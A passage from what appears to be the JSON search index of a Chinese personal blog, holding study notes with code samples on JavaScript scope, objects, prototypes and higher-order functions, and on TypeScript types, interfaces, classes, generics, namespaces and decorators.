123），RHS查询是获取变量的值（例如console.log(a)，这个就是RHS查询）\n注意：函数传递参数也是LHS查询，只不过变量变成函数的参数而已，而且当作用域链找不到LHS查询的目标时，作用域会创建一个同名的变量到全局作用域中（隐式创建变量，前提是要在非严格模式中）\n在作用域链中，当前作用域的RHS查询或者LHS查询任务完不成，是可以到上一级作用域中完成的\n词法作用域\n作用域有两种，词法作用域和动态作用域，在JavaScript中的作用域就是词法作用域，虽然JavaScript没有动态作用域，但是可以用this来实现相似的效果\n词法作用域就是在词法分析/分词阶段的作用域，一般情况下词法作用域在定义后是不会改变的（有个例外是，欺骗词法作用域，例如利用eval或者with欺骗）\n函数的词法作用域是由函数被定义时所处的位置决定，不会被函数如何调用，在哪调用而影响\n由于作用域查找会在找到第一个目标时会停止的特性，在多重嵌套作用域环境下，其他和目标同名的会被遮蔽找不到，除了全局对象外（全局作用域下的变量会自动变成全局对象的属性（例如window.abc）,可以通过查找全局对象属性来访问到被遮蔽的变量），其他被遮蔽的无论如何都访问不了\n欺骗词法作用域\neval()允许接收一个字符串作为其参数，并且执行，例如\nfunction abc(str,b){\reval(str)\rconsole.log(a,b)\r}\rvar a = 123\rabc(\u0026quot;var a = 666\u0026quot;,100) // 666 100\r这里利用eval()传递并且执行了\u0026quot;var a = 666\u0026quot;到abc()函数中，改变了该函数的词法作用域，同时遮蔽了全局作用域中的a变量，这个前提是在非严格模式中，因为在严格模式中eval()在运行时会拥有自己的作用域，导致无法修改其所在的作用域\nwith()可以扩展语句的作用域链（注意：在ES5严格模式中，with被完全禁用了）\nlet abc ={\ra: 123,\rb: 666\r}\rwith(abc){\ra = 666\rb = 123\r}\rwith()可以将对象处理成词法作用域，在with内部中对象的属性也会变成这个词法作用域的词法标识符，从而改变原来的词法作用域，例如：\nlet abc ={\ra: 123,\rb: 666\r}\rfunction xyz(obj){\rwith(obj){\ra = 666\rb = 123\r}\r}\rxyz(abc)\rconsole.log(abc.a,abc.b)\r函数作用域（函数会为其创建一个它私有的作用域）\n在函数中定义的变量将成为其词法作用域中的标识符，无法在外部作用域中获取，在多重嵌套作用域中，外部作用域定义的变量，可以在内部作用域访问，但是外部作用域无法访问内部作用域\n函数作用域可以用于隐藏自身不影响外部，因此也可以避免污染外部环境（命名冲突）\nIIFE（立即执行函数表达式）\n由于正常的函数名也会污染外部环境，因此可使用IIFE解决，当不需要函数名时，这玩意很有用（就算有函数名也不会污染外部）\n有两种编写方式，分别是(function abc(){})()和(function abc(){}())\n(function abc( funs ) {\rlet xyz = {\ra: 123\r}\rfuns(xyz)\r})(function funs(xyz) {\rlet a = 666\rconsole.log(a)\rconsole.log(xyz.a)\r})\r块作用域\n在let出现之前，可以使用try/catch创建块作用域，其声明的变量只能在catch语句块中使用，例如：\ntry{\rthrow undefined // 手动制造异常\r}catch(a){\ra = 123\rconsole.log(a)\r}\rconsole.log(a) // a is not defined\rlet关键字可以将变量隐式绑定到其所在的块作用域中（{\u0026hellip;}内部），只有其作用域内部可以访问，在外部访问会报错，使用let定义的变量是属于一个全新的作用域，而不是当前的函数作用域或者全局作用域，除let关键字外，还有const关键字也可以，只不过const定义的是常量，在定义后不能修改（修改导致报错）\n对象\n对象可通过new Object()定义，也可以通过键值对来定义\nlet obj = new Object()\robj.key = \u0026quot;hallo\u0026quot;\rlet obj1 = { key: \u0026quot;hallo\u0026quot;}\r注意：null不是对象，因为JavaScript会将二进制前三位为0的变量判断为object类型，而null的二进制表示全为0，因此使用typeof判断值为null的变量的类型，会返回object\n000开头是对象，1开头是整数，010是浮点数，100是字符串，110是布尔\n注意：基础类型并不是对象，例如\u0026quot;hallo word\u0026quot;是字符串字面量，并不能直接修改值或者访问属性，但是JavaScript会将字符串字面量自动转换为string对象，但是这并不代表基础类型就是对象，数值字面量也会被转换为number类型\n对象是引用类型，这表示其真实的值存储中内存中，而对象内部存储的不过是指针引入，指向存储了该值的内存\n数组对象，数组内部存储的位置是索引（整数）\n注意：给数组添加属性，不要使用纯数字的属性名，因为当使用纯数字的属性名，JavaScript会将其认为是索引，从而认为其是添加一个新值，而不是添加一个属性\n复制对象（深拷贝，浅拷贝）\n对象属性描述符（es5之后属性拥有了属性描述符，例如writable（是否可以修改属性的值），enumerable（可枚举）和 configurable（可设置））\n创建属性时属性描述符默认使用默认值\nlet Obj = {}\rObject.defineProperty( Obj, \u0026quot;key\u0026quot;, { value: \u0026quot;hallo word\u0026quot;, writable: true, // 可修改属性值\rconfigurable: true, // 可重新通过Object.defineProperty设置属性描述符\renumerable: true // 可被属性枚举，例如for in语句，如果为false，那么该属性不会出现在属性枚举中，例如in操作枚举\r});\r因此可通过writable，configurable设置为false，来创建常量属性\n设置对象不再可扩展新属性，可使用Object.preventExtensions()\nlet obj1 = { key: \u0026quot;hallo\u0026quot;}\rObject.preventExtensions(obj1)\robj1.nums = 666\rconsole.log(obj.nums) // undefined\r设置对象不再可扩展新属性并且不能修改现有属性的配置或者删除属性（可以修改属性值），可以使用Object.seal()\nlet obj1 = { key: \u0026quot;hallo\u0026quot;}\rObject.seal(obj1)\robj1.nums = 666\rconsole.log(obj.nums) // undefined\r当然也可以在Object.seal()基础上，禁止修改属性值，Object.freeze()\nlet obj1 = { key: \u0026quot;hallo\u0026quot;}\rObject.freeze(obj1)\robj1.key = \u0026quot;hahaha\u0026quot; // TypeError\r注意：在访问属性时，会在该对象中查找是否存在名字相同的属性，如果存在就返回该属性的值，如果没有找到就会触发原型链机制\n在设置属性时，会检查是否存在描述符，检查是否设置（writable），如果不可设置，在非严格模式下静默失败，在严格模式中抛出typeerror异常错误\ngetter和setter\n定义一个可获取属性值的方法（getter），定义一个可设置属性值的方法（setter）\nlet obj1 = { key: \u0026quot;hallo\u0026quot;,\rget a(){\rreturn this.key\r},\rset b(abc){\rthis.key = abc\r}\r}\rconsole.log(obj1.a) // hallo\robj.b = \u0026quot;hahaha\u0026quot;\rconsole.log(obj1.a) // hahaha\r正确地判断属性是否存在，属性值可设置为undefined，并不一定是属性不存在导致返回的undefined,解决这种情况有2种方法，一个是通过in操作符（可通过原型链查找），另一个是通过Object.hasOwnProperty()，Object.hasOwnProperty()只检查该属性是否存在该对象中，例如：\nlet obj1 = {\rkey: 123\r}\r(\u0026quot;key\u0026quot; in obj1)\robj1.hasOwnProperty(\u0026quot;key\u0026quot;)\r注意：hasOwnProperty方法是object对象的内置方法，如果没有链接到object原型链上的对象，是不能使用该方法的，只能通过借用方法来使用该方法，例如：Object.prototype.hasOwnProperty. call(obj1,\u0026ldquo;key\u0026rdquo;)\n检查该属性是否可枚举\nobj1.propertyIsEnumerable(\u0026quot;key\u0026quot;) // 返回布尔值，检查该属性是否直接存在于对象中（并不在原型链中，并且可枚举）\rObject.keys(obj1) // 返回数组，该数组的元素为该对象全部可枚举属性\rObject.getOwnPropertyNames(obj1) // 返回数组，该数组的元素为该对象属性，不管是否可枚举，并不会返回原型链的属性，只返回该对象中直接包含的属性\r遍历数组（forEach()，every()，some()）\nforEach()遍历数组中全部值，并且忽略回调函数的返回值\nevery()运行到回调函数返回false\nsome()运行到回调函数返回true\nfor of()语句会向被遍历对象请求迭代器对象，然后通过迭代器对象的next()来遍历全部返回值\n类，继承，实例化\n类简单来说就是蓝图，而实例化就是根据蓝图建造出房子\n继承是指一个子类继承了一个父类的特性（属性以及方法都被继承，当然也可以重写属性和方法），父类和子类不存在直接关系，而且父类和子类的构造函数可通过prototype联系到\n方法的多态性（取决于在哪个类的实例使用它）\njs并不支持多态，多态（或者理解为重载）实质上就是重写父类的方法，然后通过不同的类实例化，引用不同类的实例下的同名方法\n在继承链中不同级别（子类，父类，祖先类）的同一个方法名可以被多次定义，调用的是哪个方法取决于是通过哪个类实例化出来的\n原型\n当获取一个对象的属性时，但是这个属性并不直接存在于该对象中时，就会访问对象的prototype链中，例如：\nlet obj = {\ra: \u0026quot;hallo word\u0026quot;,\r};\rlet obj1 = Object.create(obj)\rconsole.log(obj1.a)\r上面例子中通过Object.create()创建来一个obj1.prototype可以连接到obj中的对象，哪怕obj1.a并没有在该对象中定义该属性，还是可以通过obj1.prototype获取到obj.a的属性值\n原型链查找的终点是Object.prototype，如果还是没有找到就返回undefined\n如果原型链底层中的对象存在原型链高层的相同属性名时，将会屏蔽高层的属性，因为原型链只获取最近的一个属性\nPWA，Progressive Web App（渐变式web应用），pwa技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\npwa可通过Service Worker来进行下载，打开pwa应用后，\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖于HTTPS通信\nmanifest.json：让web应用具备app的效果，例如logo，启动页面\n高阶函数（惰性函数/柯里化函数/compose组合函数）\nCompose（组合函数）\n组合函数顾名思义，就是将多个函数组合在一起，当一个函数的参数是另一个函数的返回值时，导致复杂的嵌套关系例如“funs(a(b(c)))”，而Compose可以做到调用函数的扁平化，例如：\nfunction compose(...funs){\rreturn function(...abc){\rif(funs.length === 0){\rreturn funs\r}\rif(funs.length === 1){\rreturn funs[0]\r}\rreturn funs.reduce(function(a,b){\rconsole.log(a)\rconsole.log(b)\rif(typeof a === \u0026quot;function\u0026quot;){\rreturn b(a(...abc))\r}else{\rreturn b(a)\r}\r})\r}\r}\rfunction a(x){\rreturn x + 100\r}\rfunction b(x){\rreturn x * 100\r}\rfunction c(x){\rreturn x - 100\r}\rfunction d(x){\rreturn x / 100\r}\rfunction e(x){\rreturn x % 100\r}\rlet abc = compose(a,b,c,d,e)(1000)\rlet xyz = compose(a)(1000)\rlet hhh = compose(a,b)(1000)\rconsole.log(xyz)\rconsole.log(hhh)\rconsole.log(abc)\rconsole.log(a(b(c(d(e(1000)))))) //对比一下正确的答案\r惰性函数\n柯里化函数\nclass类的装饰器（Decorator）\nSet/Map/WeakSet/WeakMap\nGenerator生成器和Interator迭代器\n","permalink":"https://xiaochenabc123.github.io/posts/61/","summary":"函数被调用时，浏览器会传递两个参数，this和arguments\nthis就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存\ncallee属性对应着当前的函数\n例如：\nfunction abc(){\rconsole.log(arguments.length);\rconsole.log(arguments[0]);\rconsole.log(arguments.callee);\rconsole.log(this)\r}\rabc('hallo');\rBOM对象 (Browser Object Model) 是指浏览器对象模型\n该对象提供了浏览器行为和浏览器属性方法\nwindows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性\nnavigator包含了当前浏览器的全部信息\nconsole.log(window.navigator)\r可以看到输出了很多属性，如userAgent，language等等\nlocation表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：\nconsole.log(window.location)\rconst urlData = \u0026quot;https://xiaochenabc123.test.com/;\rwindow.location.href = urlData;\r这个也可以实现跳转\nwindow.location.assign(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)\r这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面\nwindow.location.replace(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)\rreload方法可以重载页面，加上true参数将强制更新\nwindow.location.reload(true)\rhistory表示浏览器的历史记录\nconsole.log(window.history)\rlength表示本次访问网站的数量\n同时也提供了几个方法\nback()返回上个页面\nwindow.history.back()\n可以绑定个点击事件，用来返回上个页面\nforward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面\nwindow.history.forward()\ngo()，前进或者后退指定次数，正数为前进，负数为后退\nwindow.history.go(-1)\nscreen代表用户的屏幕的信息, 获取显示器的相关信息\nconsole.log(window.screen)\rcall 和 apply\naddEventListen()绑定事件函数\nremoveEventListen()移除事件函数\n鼠标按下时onmousedown\n鼠标移动时onmousemove\n鼠标松开时onmouseup\nundefined代表定义未赋值\nnull定义并赋值了, 只是值为null\ndocument.execCommand可以操作剪贴板\ndocument.execCommand(\u0026lsquo;copy\u0026rsquo;) // 复制\ndocument.execCommand(\u0026lsquo;cut\u0026rsquo;) // 剪切\ndocument.execCommand(\u0026lsquo;paste\u0026rsquo;) // 粘贴","title":"JavaScript知识扩展"},{"content":"TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上\nTypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript\nTypeScript实质上就是JavaScript的扩展，JavaScript超集\nTypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）\nTypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）\n全局安装typescript\nyarn global add typescript\n或者\nnpm install -g typescript\n安装ts-node（node不能直接运行ts文件，需要安装ts-node包）\nnpm install -g ts-node\nts-node运行（不需要编译成js文件，直接运行ts）\nts-node hallo.ts\n检查是否安装成功\ntsc -v\n使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀\n创建tsconfig.json\nnpx tsc \u0026ndash;init\n执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）\ntsc\n或者指定编译的文件\ntsc ./src/index.ts\ntsc ./src/index.ts -t es6 -m cjs\n注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports\n编译指定ts文件（在compilerOptions同级）\n\u0026ldquo;include\u0026rdquo;:[\u0026quot;./test1.ts\u0026quot;] // 指定编译哪个ts文件 \u0026ldquo;excclude\u0026rdquo;:[\u0026quot;./test.ts\u0026quot;] // 指定不编译哪个ts文件\n编译TypeScript文件\ntsc hallo.ts\n变量声明\n推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）\n基础类型\nTypeScript具有强类型的特点\nboolean，string，number，array，null，undefined，object，tuple，enum，void，never，any\nboolean布尔值，例如：\nlet hallo: boolean = true\nnumber数值，例如：\nlet hallo: number = 123;\n二进制和八进制，十进制，十六进制都可以用number类型来表示\nstring字符串\nlet hallo: string = hallo;\nvoid类型（当一个函数没有返回值时，那么其返回值类型就可以定义为void）\nfunction voiddemo(): void {\rlet a = 10;\r}\rvoid类型只有两个值，undefined和null\nundefined类型和null类型是所有类型的子类型\nAny（当不清楚类型的变量指定一个类型，有可能这个变量的类型是动态的，想跳过类型检查就可以用这个）\nlet abc: any =123;\nabc = hallo;\nvoid（表示没有任何类型，当一个函数没有返回值，那么其返回值类型就是void）\n声明一个void类型的变量，这个变量只能选择两个值undefined和null其中一个\nlet und void = undefined;\nundefined和null和JavaScript中概念是一样的，空，未定义\nobject，就是非基础类型，和JavaScript中概念是一样的\n枚举，数组，元组，对象都是object类型\nlet obj: object;\narray数组\nlet arrs: number[] = [1,2,3];\nlet arrs: Array = [1,2,3];\ntuple元组：元组类型允许一个数组的元素是不同的类型的，但是必须按照要求来定义，例如\nlet x [string, number?]; x = [\u0026lsquo;hello\u0026rsquo;, 10];\nx.push(\u0026ldquo;hi\u0026rdquo;);\ntuple元组是固定长度，固定类型，长度不能多不能少，类型必须要一一对应\n元组类型允许在类型后缀一个?来说明该元素是可选的，可选元素必须要在必选元素后面，否则有一个元素后面加了?，那么其后面全部元素都要加?\n注意：元组虽然可以越界添加元素（不推荐），但是不可越界访问\nenum枚举（允许为一组数值赋予名字）\nenum hallo {a, b, c}\nhallo.a === 0 // true\n默认从0开始，当然也可以手动指定数值\nenum hallo {a=6, b, c}\n最强大的一处是，可以根据值来得到它的名字\nlet yes: string = hallo[6];\nconsole.log(yes);\n如果分开声明名称相同的枚举，那么就会自动合并\nbigint类型（可以表示任意大的整数，Number类型能表示的最大整数为2^53 - 1）\n在整数后面加n或者调用BigInt()函数来定义bigint，也可以在BigInt()函数中用字符串，这三种方式表达的出来的值都是一样的\nlet abc: bigint = 8888888888888888888888888n\nlet xyz: bigint = BigInt(8888888888888888888888888)\nabc === xyz // true\nSymbol类型（每个symbol值都是唯一的）\nlet abc: symbol = Symbol(\u0026ldquo;hallo\u0026rdquo;)\nlet xyz: symbol = Symbol(\u0026ldquo;hallo\u0026rdquo;)\nabc === xyz // false\nnever类型（表示那些永远不存在的值的类型，永不为真）\nnever类型是任何类型的子类型，也可以赋值给任何类型，但是没有类型是never子类型或者赋值给never类型（除了never本身），连any都不能赋值给never\n抛出异常或者不会有返回值的函数，其函数返回值类型为never\nunknown类型是any类型对应的安全类型\nunknown类型只能赋值给any和unknown类型本身\nlet abc: unknown\nlet a: any = abc // yes\nlet b: unknown = abc // yes\nlet c: number = abc // Error\nunknown类型被确认为某个类型之前，不能被进行函数执行，实例化之类的操作\n类型断言\nas语法\nlet hallo any =hallo;\nlet abc number = (hallo as string).length;\n尖括号语法\nlet hallo any =hallo;\nlet abc number = (stringhallo).length;\n面向对象\n以键值对的方式表示的都是对象，多个键值对用逗号,分隔\nconst obj = {hallo: \u0026lsquo;123world\u0026rsquo;}\nconsole.log(obj.hallo)\nTypeScript在对象被定义时已经设置了类型，当引用不存在的，会报错\ninterface接口\n限制传入的参数的值\ninterface hallo{\ra?: number;\rb: number;\rreadonly c: string;\r[Name: string]: any;\r}\rfunction abc(as: hallo) {\rconsole.log(as.a)\r}\rlet myabc: hallo = {\ra: 123,\rb: 666,\rc: \u0026quot;hallo\u0026quot;,\rxyz(){\rreturn 'hallo word';\r}\r}\rabc(myabc)\r在属性名前使用readonly指定其为只读属性\ninterface和type的区别：interface表示一个对象的属性类型，而type被作为类型别名使用，例如：\ntype testa = sting\rtesta就是sting类型的别名，而interface不能\n在属性名后使用?指定其为可选的\n接口用于类上\nclass Test implements hallo{\ra: 1,\rb: 2,\rc: \u0026quot;abchhh\u0026quot;,\rxyz(){\rreturn 'hallo ts';\r}\r}\r不要把接口来当type用，这是错误的用法，是用来定义一个对象中有哪些属性，有哪些方法，方法里面有哪些属性，参数等等，接口本身就是为了规范一个对象的行为，使用implements关键字就表示该对象就是这个接口的实现\n接口的继承\ninterface hallo{\ra?: number;\rb: number;\rreadonly c: string;\r[Name: string]: any;\r}\rinterface Test extends hallo{\rabcxyz(): string; // 这里继承了hallo接口，并且还给自己定义了个返回值为string类型的abcxyz()方法\r}\rfunction abc(as: Test) {\rconsole.log(as.a)\r}\rlet myabc: Test = {\ra: 123,\rb: 666,\rc: \u0026quot;hallo\u0026quot;,\rxyz(){\rreturn 'hallo word';\r}\rabcxyz(){\rreturn 1+2;\r}\r}\rabc(myabc)\r函数的接口定义\ninterface abc1{\r(test: string): string;\r}\rlet abc: abc1 = (a: string) =\u0026gt; {\rreturn a; }\rlet a = abc('hallo word')\rconsole(a)\r使用[]括起来表示这是任意数量的属性，只要不是已经存在（被定义）的属性\nlet abc: {\rname: string;\rpass: string;\r} = {\rname: 'root',\rpass: '123456'\r};\rlet xyz : number[] = [1,2,3,4,5,6];\rclass Tabcxyz{}\rlet a1: Tabcxyz = new Tabcxyz();\rlet a2: () =\u0026gt; string = () =\u0026gt; {\rreturn 'hallo word'; // 函数返回值类型\r}\r判断数据类型\nlet abc: number = 123;\ntypeof abc === \u0026ldquo;number\u0026rdquo;; // tuer\nts具备自动分析变量类型功能，当无法分析时，才需要使用类型注解\nlet domeTest = 123 // number，自动分析变量类型功\nlet abc: number; // 类型注解\nnumber = 123\n函数\nfunction abc(): number{\rreturn 123; // 这个number表示函数返回值的类型\r}\r函数参数类型\nfunction abc(a:number,b:number): number{\rreturn a+b; // 这个number表示函数返回值的类型\r}\rlet xyz = abc(1+2)\r函数解构参数类型\nfunction abc({a,b}: {a: number,b: number}): number{\rreturn a+b; // 这个number表示函数返回值的类型\r}\rlet xyz = abc(1+2)\r数组与元组（tuple）\n当数组元素存在不同类型时\nlet arr:(number | string | boolean)[] = [1,'hallo', true, 123, 'hhh']; // 表示数组元素可以是number和string和boolean\r数组对象类型\nlet objarr:{name: string, age: number, pass: string}[] = [{\rname: 'root',\rage: 18,\rpass: '123456'\r}]\r或者\ntype objclass = {name: string, age: number, pass: string}\rlet abc : objclass[] = [{\rname: 'root',\rage: 18,\rpass: '123456'\r}]\r或者\nclass Abctest{\rname: string, age: number, pass: string }\rlet abc : Abctest[] = [\rnew Abctest(),\r{\rname: 'root',\rage: 18,\rpass: '123456'\r}\r]\r元组（元组的长度和类型是固定的，数组每一项都必须对于类型的每一项）\nlet abc: [sting, number, sting] = [\r'root',\r18,\r'123456'\r]\r多维元组\nlet abc: [sting, number, sting][] = [\r['root',18,'123456'],\r['admin',16,'123456789'],\r['test',20,'test123'],\r]\r类的定义与继承\nclass Demo{\rname = 'root';\rTest(){\rreturn this.name;\r}\r}\rclass Demo1 extends Demo{\rname = 'admin'; // 重写 name属性\rTest1(){\rreturn 'hallo ts'; // 继承Demo类的同时，自己还具备Demo不存在的Test1()方法\r}\rTest(){\rreturn 'hallo' + super.Test() // 如果在重写父类的方法时，还想调用父类的方法时，可使用super调用\r}\r}\rlet demo1 = new Demo1();\rconsole.log(demo1.Test());\rconsole.log(demo1.Test1());\r类的访问类型（private，protected，public）和构造器（construction）\nclass Test(){\rpublic name: string; // 类外可被调用\rprotected pass: string; // 类内以及被继承到的子类调用\rprivate Testa(){\rconsole.log('hallo word') // 类内可被调用，类外不可调用\r}\r}\rlet test1 = new Test();\rtets1.name = 'hallo';\rconsole.log(tets1.name);\rclass Test1 extends Test{\rpublic Testaa(){\rcosole.log(this.pass);\r}\r}\rconstruction构造器（construction方法是类内部提供的，当一个类被new了，那么该类construction方法就会触发）\nclass Test(){\rpublic name: string;\rprotected pass: string;\rconstruction(name: string){\rthis.name = name;\r}\r}\rlet test1 = new Test('admin');\rcosole.log(test1.name);\r注意：当父类存在construction时，子类也有construction时，需要手动调用父类的construction（调用super()）\n静态类型，setter和getter（暴露私有属性并且保护私有属性）\nclass Test(){\rprivate _name: string; // name属性是私有属性，无法被类外调用\rconstruction(name: string){\rthis._name = name;\r}\rget getName(){\rreturn this._name; // 通过getName方法对外暴露name属性\r}\rset setName(name: string){\rlet Tname = name.split('')[0]; // // 通过setName方法对外暴露name属性\rthis._name = name\r}\r}\rlet test1 = new Test('admin');\rcosole.log(test1.getName);\r单例模式\nclass Test(){\rprivate static Testabc: Test;\rprivate construction(){} // 禁止通过new创建实例\rpublic getTest(){\rif (!this.Testabc) {\rthis.Testabc = new Test(); // 判断如果Testabc不存在时，Testabc等于Test实例\rreturn this.Testabc; // 返回存储了Test实例的属性\r}\rreturn this.Testabc; // 对外暴露这个存储了Test实例的属性\r}\r}\rlet test1 = Test.getTest() // 存储了Test实例的属性赋值给了test1变量\rlet test2 = Test.getTest() // 存储了Test实例的属性赋值给了test2变量\rconsole.log(test1 === test2); // true 这两个存储了Test实例的变量实质上还是同一个\r抽象类（抽象类只能被继承，类的抽象进行封装，复用）\nabstract class Abc{\rname: string;\rabstract getTest1(): string;\r}\rclass Test extends Abc(){\rconstructor(){\rsuper();\r}\rgetTest1(){\rreturn 'hallo word';\r}\r}\rclass Test1 extends Abc(){\rconstructor(){\rsuper();\r}\rgetTest1(){\rreturn 'hallo hhh';\r}\r}\rlet test1 = new Test();\rconsole.log(test1.getTest1);\r联合类型和类型保护\n联合类型就是给一些类型出来，只要满足其中一种类型就可以，例如：\nlet a : number | string = 'hallo word'\ra = 66 // a变量需要满足number或者string其中一种类型就可以了\r类型保护就是通过类型断言，class或者instanceof来保护类型\nenum枚举类型\n枚举通过enum关键字创建，并且枚举元素一被定义将无法改变，格式和对象类似\nenum a{\rname,\rage,\rpass\r}\rconsole.log(a.age) // 1\rconsole.log(a[1]) // age\r枚举元素默认第一个值从0开始递增，另外key和value是能互相访问的（这些规则只能用于数值枚举元素，其他类型无效）\nenum a{\rname = 'root',\rage = 18,\rpass = '123456'\r}\r上面这个例子为异构枚举，允许数值枚举和字符串枚举混合使用\n注意：当然枚举存在字符串枚举成员时，是不能存在计算的\n函数泛型（泛型：generic，表示泛指的类型）\nfunction abc\u0026lt;XYZ\u0026gt;(a: XYZ,b: XYZ){\rreturn a + b; }\rabc\u0026lt;string\u0026gt;('hallo','root');\r类泛型和泛型类型\nclass Demo\u0026lt;XYZ\u0026gt;{\rages: XYZ[]\rgetDemo(a:number): XYZ{\rreturn this.ages[a]\r}\r}\rlet demo = new Demo\u0026lt;number\u0026gt;([1])\rdemo.getDemo(0)\r命名空间namespace（在命名空间内部定义的变量，类只能在该命名空间内部金额访问到，如果需要外部访问需要export导出）\nnamespace Test{\rlet a = \u0026quot;hallo word\u0026quot;;\rexport function b(i: number){\rreturn i;\r}\r}\r命名空间的实现原理就是立即执行函数搭配闭包，闭包可以减少全局变量的诞生，而如果进行导出export了，那么该被导出的变量会暴露到全局环境下\n可以给函数，class，enum枚举类型声明命名空间（必须在声明函数，class，enum之后使用命名空间） 命名空间与函数，class，enum枚举类型同名，命名空间将作为补充，例如：\nfunction Test(){}\rnamespace Test{\rlet a = \u0026quot;hallo word\u0026quot;;\rexport function b(i: number){\rreturn i;\r}\r}\rconsole.log(Test.a,Test.b(123))\r命名空间别名\nimport test = Test.b\r合并命名空间\n如果是同名的命名空间，会自动合并成一个（注意：合并只针对导出的成员，而且不能重名）\n如果是不同文件下命名空间，例如：\na.ts\nnamespace Test{\rlet a = \u0026quot;hallo word\u0026quot;;\rfunction b(i: number)\rreturn i;\r}\rb.ts /// // 会在编译b.ts之前编译a.ts namespace Test{ import a = Test.a console.log(a) }\n类型注解文件（.d.ts）\n类型注解声明需使用declare或export关键字，declare是定义全局，可直接引用，而export需要使用import导出\n注意：当定义interface接口或者type类型的时候，不需要加declare或export关键字\n定义全局变量abc，它的类型是string（除了var关键字可以定义外，还有let，const都可以定义）\ndeclare var abc: string;\r定义全局函数abc()，该函数的参数为string类型，返回值也是对象，并且定义该对象中存在一个data方法，该方法接收一个string类型的参数，该方法的返回值是string类型\ndeclare function abc(param:string): {\rdata: (data: string) =\u0026gt; string;\r};\rabc('test').data('hallo word');\r定义接口 Abc，该接口被用于函数abc()上，表示abc()函数的返回值类型\ninterface Abc{\rtest: (str: string) =\u0026gt;{};\r}\rdeclare function abc(): Abc;\r函数重载：类型注解是允许多次定义函数的类型注解声明\n声明对象Abc，该对象下存在着Test对象，Test对象下存在Data()构造函数\ndeclare namespace Abc {\rnamespace Test {\rclass Data {}\r}\r}\rnew Abc.Test.Data()\r模块化的类型注解\n定义一个Test模块的类型注解，该模块存在一个Abc方法，该方法也存在一个test方法，test方法的返回值为对象\ndeclare module 'Test' {\rinterface Abc{\rtest: (str: string) =\u0026gt;{};\r}\rexport = Abc;\r}\rimport Abc form 'Test'\rAbc.test('hallo word')\r当ts项目需要用到外部库时（例如Jquery），需要提供其类型注解文件，声明其对外的接口，常用的库社区都会提供类型注解文件，一般情况下其类型注解文件都是在该包的源码目录下，如果没有需要进行下载，例如npm i @types/jquery\n泛型的keyof关键字\ninterface Test{\rname: string;\rpass: string;\rage: number;\r}\rclass Abc{\rconstructor(private data: Test)\rgetData\u0026lt;T extends keyof Test\u0026gt;(key: T): Test[T] {\rrenturn this.data[key]\r}\r}\rconst TestData = new Abc({\rname: 'root',\rpass: '123456',\rage: 20\r})\rconst test = TestData.getData('name');\rconsole.log(test)\r从上面例子中的，可以看到keyof的作用就是遍历类型的属性，keyof的返回值类型其实是个联合类型（key也是可以用来搞class）\n上面例子输入的key参数不为Test接口定义属性时会提示错误\n装饰器：装饰器本身是函数，装饰器通过@来调用，通过装饰器来扩展目标的功能\n注意：装饰器目前是实验功能，需要手动开启实验功能，在tsconfig.json找到experimentalDecorators和emitDecoratorMetadata设置为true\n类的装饰器（会在类创建完毕后立即执行装饰器，注意：对类装饰，并不对实例装饰，类装饰器的参数是构造函数）\nfunction Abc(constructor: any){\rconsole.log('hallo word');\r}\r@Abc\rclass Test{}\rlet test = new Test();\r方法的装饰器（方法装饰器有3个参数，分别是类的构造方法，方法名，方法的属性描述符）\n属性的装饰器（属性装饰器有2个参数，分别是类的原型，属性名）\n参数的装饰器（函数的参数装饰器有3个参数，分别是类的构造函数，参数名，参数在参数列表中的索引）\n协变和逆变\nTypeScript允许子类型赋值给父类型，也允许父类型赋值给子类型，因为这是类型安全的，是完全允许的，例如：\ntype Test = {\rname: string;\r}\rtype Abc = {\rname: string;\rpass: string;\r}\rlet a: Test = {\rname: 'root'\r}\rlet b: Abc = {\rname: 'root'\rpass: '123456'\r}\rb = a\r子类型可以赋值给父类型，而这个就叫协变，允许赋值时给一个更全面的类型或者相同的类型（父类是子类的超类）\nTypeScript不需要通过extends继承来确定，而是通过类型结构（structual type）来确定父子关系的\n逆变\n父类型可以赋值给子类型，函数参数具有逆变的特性，例如：\ntype Test = {\rname: string;\r}\rtype Abc = {\rname: string;\rpass: string;\r}\rlet hallo = (a: Abc) =\u0026gt;{\rconsole.log(a)\r}\rlet hi = (b: Test) =\u0026gt;{\rconsole.log(b)\r}\rhallo = hi\r注意：协变和逆变作用只生效于父子类型，非父子类型不会发生\nts允许符合一个接口的前提下扩展，但是有个例外，不允许使用字面量的方式（但是可以使用as和\u0026lt;\u0026gt;类型断言来允许）\n可索引接口，索引签名\n函数接口\nlet abc:(a:number,b:number)=\u0026gt; number\rinterface abc{\r(a:number,b:number):number\r}\r函数接口的实现要求形参和实参必须一一对应（可选参数和剩余参数（扩展）除外）\n函数重载（ts允许函数名相同，但是参数个数和类型不相同）\nfunction abc(...a: number[]): number\rfunction abc(...a: string[]): string\rfunction abc(...a: any[]):any{\rlet xyz = a[0]\rif(typeof xyz === 'string'){\rreturn a.join('')\r}\rif(typeof xyz === 'number'){\rreturn 